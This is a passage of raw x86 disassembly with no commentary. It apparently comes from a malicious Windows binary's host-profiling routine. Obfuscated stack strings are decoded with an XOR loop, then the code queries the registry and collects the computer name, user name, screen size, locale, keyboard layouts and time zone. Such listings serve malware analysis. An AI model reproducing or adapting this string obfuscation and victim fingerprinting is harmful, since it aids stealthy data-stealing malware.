mov byte [ebp - 0x2cf], 0xf2
mov byte [ebp - 0x2ce], 0xfa
mov byte [ebp - 0x2cd], 0xe5
mov byte [ebp - 0x2cc], 0xf8
mov byte [ebp - 0x2cb], 0xe4
mov byte [ebp - 0x2ca], 0xc9
mov byte [ebp - 0x2c9], 0xfd
mov byte [ebp - 0x2c8], 0xee
mov byte [ebp - 0x2c7], 0xea
mov byte [ebp - 0x2c6], 0xf5
mov byte [ebp - 0x2c5], 0xfc
mov byte [ebp - 0x2c4], 0xf2
mov byte [ebp - 0x2c3], 0x9a
mov al, byte [ebp - 0x2ef]
mov dword [ebp - 0x1c], edx
nop
mov al, byte [ebp + edx - 0x2ef]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0x8bd16f6d
mov edx, 0x634344ac
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 0x6d]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x2ef], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x2d
jb 0x417f50
lea eax, [ebp - 0x330]
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x2ef]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x418250
mov dword [ebp - 0x35c], 0x20019
xor edx, edx
mov dword [ebp - 0x360], 0x400
mov byte [ebp - 0xb2], 0xd0
mov byte [ebp - 0xb1], 0xea
mov byte [ebp - 0xb0], 0xf5
mov byte [ebp - 0xaf], 0xfb
mov byte [ebp - 0xae], 0xeb
mov byte [ebp - 0xad], 0xf1
mov byte [ebp - 0xac], 0xe9
mov byte [ebp - 0xab], 0xd0
mov byte [ebp - 0xaa], 0xfc
mov byte [ebp - 0xa9], 0xf4
mov byte [ebp - 0xa8], 0xf3
mov byte [ebp - 0xa7], 0x9a
mov al, byte [ebp - 0xb2]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0xb2]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0x886ddb8f
mov edx, 0x7d980f1a
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0xb2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jb 0x418030
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x1b5c]
push eax
lea eax, [ebp - 0x35c]
push eax
push 0
lea eax, [ebp - 0xb2]
push eax
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x418244
xor edx, edx
mov dword [ebp - 0x14], edx
cmp byte [ebp - 0xd], dl
je 0x418102
mov byte [ebp - 0x38], 8
mov byte [ebp - 0x37], 0xb1
mov byte [ebp - 0x36], 0xb0
mov byte [ebp - 0x35], 0x83
mov al, byte [ebp - 0x38]
mov al, byte [ebp + edx - 0x38]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x44fe157f
mov edx, 0xb74671c3
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x38], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 4
jb 0x4180c1
lea esi, [ebp - 0x38]
jmp 0x418154
mov byte [ebp - 0x3c], 8
mov byte [ebp - 0x3b], 0xb4
mov byte [ebp - 0x3a], 0xb6
mov byte [ebp - 0x39], 0x83
mov al, byte [ebp - 0x3c]
mov al, byte [ebp + edx - 0x3c]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x44fe157f
mov edx, 0xb74671c3
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x3c], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 4
jb 0x418115
lea esi, [ebp - 0x3c]
mov byte [ebp - 0x1b2], 0xf7
xor edx, edx
mov byte [ebp - 0x1b1], 0xcb
mov edi, 0xf
mov byte [ebp - 0x1b0], 0xcc
mov byte [ebp - 0x1af], 0xcd
mov byte [ebp - 0x1ae], 0xc1
mov byte [ebp - 0x1ad], 0xdf
mov byte [ebp - 0x1ac], 0xd6
mov byte [ebp - 0x1ab], 0x99
mov byte [ebp - 0x1aa], 0x89
mov byte [ebp - 0x1a9], 0x9a
mov byte [ebp - 0x1a8], 0xc0
mov byte [ebp - 0x1a7], 0x9f
mov byte [ebp - 0x1a6], 0xe3
mov byte [ebp - 0x1a5], 0x9c
mov byte [ebp - 0x1a4], 0xcd
mov byte [ebp - 0x1a3], 0xef
mov byte [ebp - 0x1a2], 0xba
mov byte [ebp - 0x1a1], 0xb2
mov al, byte [ebp - 0x1b2]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1b2]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0xd8453ba7
mov edx, 0x4bdbd2f6
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x59]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1b2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x12
jb 0x4181e2
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x1b5c]
push esi
push eax
lea eax, [ebp - 0x1b2]
push eax
push edi
call fcn.0040bdd0
add esp, 0x10
mov esi, 0xf
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xc58]
push 0
push eax
call fcn.004fe500
add esp, 0xc
mov dword [ebp - 0x358], 0x104
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0xc58]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [ebp - 0x1c5], 0xa3
xor edx, edx
mov byte [ebp - 0x1c4], 0x83
mov byte [ebp - 0x1c3], 0x8a
mov byte [ebp - 0x1c2], 0x96
mov byte [ebp - 0x1c1], 0x9a
mov byte [ebp - 0x1c0], 0x96
mov byte [ebp - 0x1bf], 0x8e
mov byte [ebp - 0x1be], 0x91
mov byte [ebp - 0x1bd], 0xce
mov byte [ebp - 0x1bc], 0xa4
mov byte [ebp - 0x1bb], 0x8b
mov byte [ebp - 0x1ba], 0x81
mov byte [ebp - 0x1b9], 0x8c
mov byte [ebp - 0x1b8], 0xdd
mov byte [ebp - 0x1b7], 0xc0
mov byte [ebp - 0x1b6], 0xde
mov byte [ebp - 0x1b5], 0x83
mov byte [ebp - 0x1b4], 0xf6
mov byte [ebp - 0x1b3], 0xf7
mov al, byte [ebp - 0x1c5]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1c5]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xbc4a24e1
mov edx, 0xbf940107
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1c5], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x13
jb 0x418314
lea eax, [ebp - 0xc58]
push eax
lea eax, [ebp - 0x1c5]
push eax
push edi
call fcn.0040bdd0
push 0x104
lea eax, [ebp - 0xd5c]
push 0
push eax
call fcn.004fe500
add esp, 0x18
mov dword [ebp - 0x354], 0x104
lea eax, [ebp - 0x354]
push eax
lea eax, [ebp - 0xd5c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp - 0x12d], 0x35
xor edx, edx
mov byte [ebp - 0x12c], 0x1f
mov byte [ebp - 0x12b], 4
mov byte [ebp - 0x12a], 0x14
mov byte [ebp - 0x129], 0x41
mov byte [ebp - 0x128], 0x24
mov byte [ebp - 0x127], 1
mov byte [ebp - 0x126], 0x15
mov byte [ebp - 0x125], 0x19
mov byte [ebp - 0x124], 0x46
mov byte [ebp - 0x123], 0x52
mov byte [ebp - 0x122], 0x5a
mov byte [ebp - 0x121], 0xf
mov byte [ebp - 0x120], 0x72
mov byte [ebp - 0x11f], 0x72
mov al, byte [ebp - 0x12d]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x12d]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x8f4caa69
mov edx, 0xf5e9b1ed
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x12d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xf
jb 0x418414
lea eax, [ebp - 0xd5c]
push eax
lea eax, [ebp - 0x12d]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x438]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov byte [ebp - 0x233], 0xe4
xor edx, edx
mov byte [ebp - 0x232], 0xc1
mov byte [ebp - 0x231], 0xd1
mov byte [ebp - 0x230], 0xda
mov byte [ebp - 0x22f], 0xc5
mov byte [ebp - 0x22e], 0xce
mov byte [ebp - 0x22d], 0xd3
mov byte [ebp - 0x22c], 0x8a
mov byte [ebp - 0x22b], 0xf0
mov byte [ebp - 0x22a], 0xcd
mov byte [ebp - 0x229], 0xd5
mov byte [ebp - 0x228], 0xcb
mov byte [ebp - 0x227], 0xc1
mov byte [ebp - 0x226], 0xd0
mov byte [ebp - 0x225], 0xd0
mov byte [ebp - 0x224], 0xd7
mov byte [ebp - 0x223], 0xdf
mov byte [ebp - 0x222], 0xd6
mov byte [ebp - 0x221], 0x88
mov byte [ebp - 0x220], 0x9a
mov byte [ebp - 0x21f], 0x9c
mov byte [ebp - 0x21e], 0xdb
mov byte [ebp - 0x21d], 0xc2
mov byte [ebp - 0x21c], 0x9f
mov byte [ebp - 0x21b], 0xd6
mov byte [ebp - 0x21a], 0xb2
mov byte [ebp - 0x219], 0xb6
mov al, byte [ebp - 0x233]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x233]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x2d9ce1a1
mov edx, 0xebb08d2b
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x233], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1b
jb 0x418550
push dword [ebp - 0x42c]
lea eax, [ebp - 0x233]
push dword [ebp - 0x430]
push eax
push edi
call fcn.0040bdd0
push 0x400
lea eax, [ebp - 0x175c]
push 0
push eax
call fcn.004fe500
add esp, 0x1c
lea eax, [ebp - 0x175c]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
xor edx, edx
mov dword [ebp - 0x14], edx
test eax, eax
je 0x4186f0
mov byte [ebp - 0x218], 0x14
mov byte [ebp - 0x217], 0x36
mov byte [ebp - 0x216], 0x25
mov byte [ebp - 0x215], 0x26
mov byte [ebp - 0x214], 0x37
mov byte [ebp - 0x213], 0x3f
mov byte [ebp - 0x212], 0x29
mov byte [ebp - 0x211], 0x4c
mov byte [ebp - 0x210], 0x26
mov byte [ebp - 0x20f], 0xe
mov byte [ebp - 0x20e], 8
mov byte [ebp - 0x20d], 9
mov byte [ebp - 0x20c], 0x18
mov byte [ebp - 0x20b], 9
mov byte [ebp - 0x20a], 8
mov byte [ebp - 0x209], 6
mov byte [ebp - 0x208], 0x5a
mov byte [ebp - 0x207], 0x4f
mov byte [ebp - 0x206], 0x43
mov byte [ebp - 0x205], 0x11
mov byte [ebp - 0x204], 0x18
mov byte [ebp - 0x203], 0x64
mov byte [ebp - 0x202], 0x60
mov al, byte [ebp - 0x218]
nop dword [eax]
mov al, byte [ebp + edx - 0x218]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xcf06ad59
mov edx, 0xb8e8a5db
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x59]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x218], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x17
jb 0x418690
lea eax, [ebp - 0x175c]
push eax
lea eax, [ebp - 0x218]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
jmp 0x418807
mov byte [ebp - 0x24e], 0xe4
mov byte [ebp - 0x24d], 0xc1
mov byte [ebp - 0x24c], 0xd1
mov byte [ebp - 0x24b], 0xda
mov byte [ebp - 0x24a], 0xc5
mov byte [ebp - 0x249], 0xce
mov byte [ebp - 0x248], 0xd3
mov byte [ebp - 0x247], 0x8a
mov byte [ebp - 0x246], 0xee
mov byte [ebp - 0x245], 0xc9
mov byte [ebp - 0x244], 0xc8
mov byte [ebp - 0x243], 0xc3
mov byte [ebp - 0x242], 0xd8
mov byte [ebp - 0x241], 0xc4
mov byte [ebp - 0x240], 0xc3
mov byte [ebp - 0x23f], 0xdb
mov byte [ebp - 0x23e], 0x8a
mov byte [ebp - 0x23d], 0x98
mov byte [ebp - 0x23c], 0xe7
mov byte [ebp - 0x23b], 0xd4
mov byte [ebp - 0x23a], 0xd2
mov byte [ebp - 0x239], 0xd1
mov byte [ebp - 0x238], 0xd5
mov byte [ebp - 0x237], 0xcd
mov byte [ebp - 0x236], 0xdc
mov byte [ebp - 0x235], 0xb2
mov byte [ebp - 0x234], 0xb6
mov al, byte [ebp - 0x24e]
mov al, byte [ebp + edx - 0x24e]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x2d9ce1a1
mov edx, 0xebb08d2b
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x24e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1b
jb 0x4187b3
lea eax, [ebp - 0x24e]
push eax
push edi
call fcn.0040bdd0
add esp, 8
mov byte [ebp - 0x201], 0xfb
xor edx, edx
mov byte [ebp - 0x200], 0xd0
mov byte [ebp - 0x1ff], 0xc1
mov byte [ebp - 0x1fe], 0xaf
mov byte [ebp - 0x1fd], 0xac
mov byte [ebp - 0x1fc], 0xa6
mov byte [ebp - 0x1fb], 0xb7
mov byte [ebp - 0x1fa], 0xae
mov byte [ebp - 0x1f9], 0xee
mov byte [ebp - 0x1f8], 0x8b
mov byte [ebp - 0x1f7], 0xa0
mov byte [ebp - 0x1f6], 0xa6
mov byte [ebp - 0x1f5], 0xa4
mov byte [ebp - 0x1f4], 0xbe
mov byte [ebp - 0x1f3], 0xa7
mov byte [ebp - 0x1f2], 0xa6
mov byte [ebp - 0x1f1], 0xa5
mov byte [ebp - 0x1f0], 0xb6
mov byte [ebp - 0x1ef], 0xf2
mov byte [ebp - 0x1ee], 0xfd
mov byte [ebp - 0x1ed], 0xd3
mov al, byte [ebp - 0x201]
mov dword [ebp - 0x14], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0x201]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xe652d7bd
mov edx, 0xdd1a061b
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x43]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x201], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x15
jb 0x4188b0
lea eax, [ebp - 0x201]
push eax
push edi
call fcn.0040bdd0
push 0x200
lea eax, [ebp - 0xf5c]
push 0
push eax
call fcn.004fe500
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x24], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x418a32
push edi
push dword [ebp - 0x24]
call esi
xor esi, esi
mov dword [ebp - 0x24], eax
test eax, eax
je 0x418a2b
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xf5c]
push eax
movzx eax, word [edi + esi*4]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x418991
lea eax, [ebp - 0xf5c]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
add esp, 8
jmp 0x418a0b
mov byte [ebp - 0x42], 0x90
xor edx, edx
mov byte [ebp - 0x41], 0xe4
mov edi, 0xf
mov byte [ebp - 0x40], 0xee
mov byte [ebp - 0x3f], 0xe9
mov byte [ebp - 0x3e], 0xb9
mov byte [ebp - 0x3d], 0xc1
mov al, byte [ebp - 0x42]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x42]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x6e59efbf
mov edx, 0xa07123be
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x41]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x42], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x4189b6
lea eax, [ebp - 0xf5c]
push eax
lea eax, [ebp - 0x42]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
mov edi, dword [ebp - 0x1c]
add esp, 0xc
push 0x200
lea eax, [ebp - 0xf5c]
push 0
push eax
call fcn.004fe500
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x24]
jb 0x418960
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x378]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x378], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 0x28e], 0x5a
xor edx, edx
mov byte [ebp - 0x28d], 0x11
mov esi, 0xf
mov byte [ebp - 0x28c], 0x3a
mov byte [ebp - 0x28b], 0x3a
mov byte [ebp - 0x28a], 0x31
mov byte [ebp - 0x289], 0x34
mov byte [ebp - 0x288], 0x74
mov byte [ebp - 0x287], 0
mov byte [ebp - 0x286], 0x3f
mov byte [ebp - 0x285], 0xc
mov byte [ebp - 0x284], 7
mov byte [ebp - 0x283], 0x59
mov byte [ebp - 0x282], 0x42
mov byte [ebp - 0x281], 0x4a
mov byte [ebp - 0x280], 6
mov byte [ebp - 0x27f], 0x4d
mov byte [ebp - 0x27e], 0x45
mov byte [ebp - 0x27d], 9
mov byte [ebp - 0x27c], 0x4a
mov byte [ebp - 0x27b], 0x4c
mov byte [ebp - 0x27a], 4
mov byte [ebp - 0x279], 0x48
mov byte [ebp - 0x278], 0x41
mov byte [ebp - 0x277], 0
mov byte [ebp - 0x276], 0x5c
mov byte [ebp - 0x275], 0x54
mov byte [ebp - 0x274], 0x16
mov byte [ebp - 0x273], 0x49
mov byte [ebp - 0x272], 0x57
mov byte [ebp - 0x271], 0x1b
mov byte [ebp - 0x270], 0x78
mov byte [ebp - 0x26f], 0x72
mov al, byte [ebp - 0x28e]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x28e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xa94b3c57
mov edx, 0x47b11319
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x57]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x28e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x20
jb 0x418b40
movzx eax, word [ebp - 0x36c]
push eax
movzx eax, word [ebp - 0x36e]
mov edi, dword [ebp - 0x20]
push eax
movzx eax, word [ebp - 0x370]
push eax
movzx eax, word [ebp - 0x378]
push eax
movzx eax, word [ebp - 0x376]
push eax
movzx eax, word [ebp - 0x372]
push eax
lea eax, [ebp - 0x28e]
push eax
push edi
call fcn.0040bdd0
add esp, 0x20
lea eax, [ebp - 0x448]
xorps xmm0, xmm0
movups xmmword [ebp - 0x448], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x858]
push 0
push eax
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x548]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x858]
push eax
movups xmmword [ebp - 0x548], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x858]
xor edx, edx
cvtdq2ps xmm0, xmm0
mov byte [ebp - 0x17d], 0x54
mov byte [ebp - 0x17c], 0x67
mov byte [ebp - 0x17b], 0x66
mov byte [ebp - 0x17a], 0x71
mov byte [ebp - 0x179], 0x4e
divss xmm0, dword [0x5569a8]
mov byte [ebp - 0x178], 0x74
mov byte [ebp - 0x177], 0x77
mov byte [ebp - 0x176], 0x79
mov byte [ebp - 0x175], 0x21
mov byte [ebp - 0x174], 0x34
mov byte [ebp - 0x173], 0x48
mov byte [ebp - 0x172], 0x4d
mov byte [ebp - 0x171], 0x5f
mov byte [ebp - 0x170], 0x34
mov byte [ebp - 0x16f], 0x74
mov byte [ebp - 0x16e], 0x1e
mov byte [ebp - 0x16d], 0x10
mov al, byte [ebp - 0x17d]
mov dword [ebp - 0x14], edx
xorps xmm0, xmmword [0x556b50]
movss dword [ebp - 0x24], xmm0
mov al, byte [ebp + edx - 0x17d]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x8a95440d
mov edx, 0x8bb51a2e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0xd]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x17d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x11
jb 0x418cc5
cvttss2si eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x17d]
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0xd7], 0x2a
add esp, 0xc
mov byte [ebp - 0xd6], 0x77
xor edx, edx
mov byte [ebp - 0xd5], 0x6f
mov byte [ebp - 0xd4], 0x5e
mov byte [ebp - 0xd3], 0x41
mov byte [ebp - 0xd2], 0x5a
mov byte [ebp - 0xd1], 0x4d
mov byte [ebp - 0xd0], 0x59
mov byte [ebp - 0xcf], 0x43
mov byte [ebp - 0xce], 0x53
mov byte [ebp - 0xcd], 0x66
mov byte [ebp - 0xcc], 0x36
mov byte [ebp - 0xcb], 0x35
mov al, byte [ebp - 0xd7]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0xd7]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xc9c2f82d
mov edx, 0x8f8c4c04
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xd7], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jb 0x418d83
lea eax, [ebp - 0xd7]
push eax
push edi
call fcn.0040bdd0
mov dword [ebp - 0x334], 0
add esp, 8
mov byte [ebp - 0x31e], 0xa8
xor edx, edx
mov byte [ebp - 0x31d], 0xa5
mov byte [ebp - 0x31c], 0xbc
mov byte [ebp - 0x31b], 0xa4
mov byte [ebp - 0x31a], 0xb4
mov byte [ebp - 0x319], 0xa5
mov byte [ebp - 0x318], 0xb0
mov byte [ebp - 0x317], 0xb5
mov byte [ebp - 0x316], 0xa1
mov byte [ebp - 0x315], 0xbc
mov byte [ebp - 0x314], 0xb1
mov byte [ebp - 0x313], 0xad
mov byte [ebp - 0x312], 0xb5
mov byte [ebp - 0x311], 0xa4
mov byte [ebp - 0x310], 0xbf
mov byte [ebp - 0x30f], 0xaf
mov byte [ebp - 0x30e], 0xa4
mov byte [ebp - 0x30d], 0xbd
mov byte [ebp - 0x30c], 0xb1
mov byte [ebp - 0x30b], 0xbe
mov byte [ebp - 0x30a], 0xaf
mov byte [ebp - 0x309], 0xa7
mov byte [ebp - 0x308], 0x8b
mov byte [ebp - 0x307], 0x73
mov byte [ebp - 0x306], 0x79
mov byte [ebp - 0x305], 0x6d
mov byte [ebp - 0x304], 0x69
mov byte [ebp - 0x303], 0x52
mov byte [ebp - 0x302], 0x45
mov byte [ebp - 0x301], 0x63
mov byte [ebp - 0x300], 0x68
mov byte [ebp - 0x2ff], 0x7b
mov byte [ebp - 0x2fe], 0x72
mov byte [ebp - 0x2fd], 0x65
mov byte [ebp - 0x2fc], 0x62
mov byte [ebp - 0x2fb], 0x50
mov byte [ebp - 0x2fa], 0x71
mov byte [ebp - 0x2f9], 0x6b
mov byte [ebp - 0x2f8], 0x61
mov byte [ebp - 0x2f7], 0x75
mov byte [ebp - 0x2f6], 0x6e
mov byte [ebp - 0x2f5], 0x6b
mov byte [ebp - 0x2f4], 0x7b
mov byte [ebp - 0x2f3], 0x6c
mov byte [ebp - 0x2f2], 0x4a
mov byte [ebp - 0x2f1], 0x26
mov byte [ebp - 0x2f0], 0x16
mov al, byte [ebp - 0x31e]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x31e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xdaec5e9
mov edx, 0x7103a7ac
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x17]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x31e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x2f
jb 0x418f33
lea eax, [ebp - 0x334]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x31e]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4191a4
mov dword [ebp - 0x338], 0x20019
xor edx, edx
mov dword [ebp - 0x350], 0x400
mov byte [ebp - 0x1ec], 0xc0
mov byte [ebp - 0x1eb], 0xdb
mov byte [ebp - 0x1ea], 0xcb
mov byte [ebp - 0x1e9], 0xc1
mov byte [ebp - 0x1e8], 0xce
mov byte [ebp - 0x1e7], 0xdb
mov byte [ebp - 0x1e6], 0xd9
mov byte [ebp - 0x1e5], 0xc0
mov byte [ebp - 0x1e4], 0xdc
mov byte [ebp - 0x1e3], 0xe3
mov byte [ebp - 0x1e2], 0xc5
mov byte [ebp - 0x1e1], 0xc3
mov byte [ebp - 0x1e0], 0xcd
mov byte [ebp - 0x1df], 0xf0
mov byte [ebp - 0x1de], 0xd2
mov byte [ebp - 0x1dd], 0xd1
mov byte [ebp - 0x1dc], 0xc9
mov byte [ebp - 0x1db], 0xd7
mov byte [ebp - 0x1da], 0xd3
mov byte [ebp - 0x1d9], 0xb2
mov al, byte [ebp - 0x1ec]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x1ec]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x9fc8059f
mov edx, 0xdbf34d59
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1ec], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x14
jb 0x419050
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x1f5c]
push eax
lea eax, [ebp - 0x338]
push eax
push 0
lea eax, [ebp - 0x1ec]
push eax
push dword [ebp - 0x334]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x419198
mov byte [ebp - 0x15a], 0x30
xor edx, edx
mov byte [ebp - 0x159], 0x1e
mov byte [ebp - 0x158], 0xe
mov byte [ebp - 0x157], 5
mov byte [ebp - 0x156], 4
mov byte [ebp - 0x155], 0x19
mov byte [ebp - 0x154], 0x13
mov byte [ebp - 0x153], 0x17
mov byte [ebp - 0x152], 0xe
mov byte [ebp - 0x151], 0x46
mov byte [ebp - 0x150], 0x52
mov byte [ebp - 0x14f], 0x5a
mov byte [ebp - 0x14e], 0xf
mov byte [ebp - 0x14d], 0x72
mov byte [ebp - 0x14c], 0x72
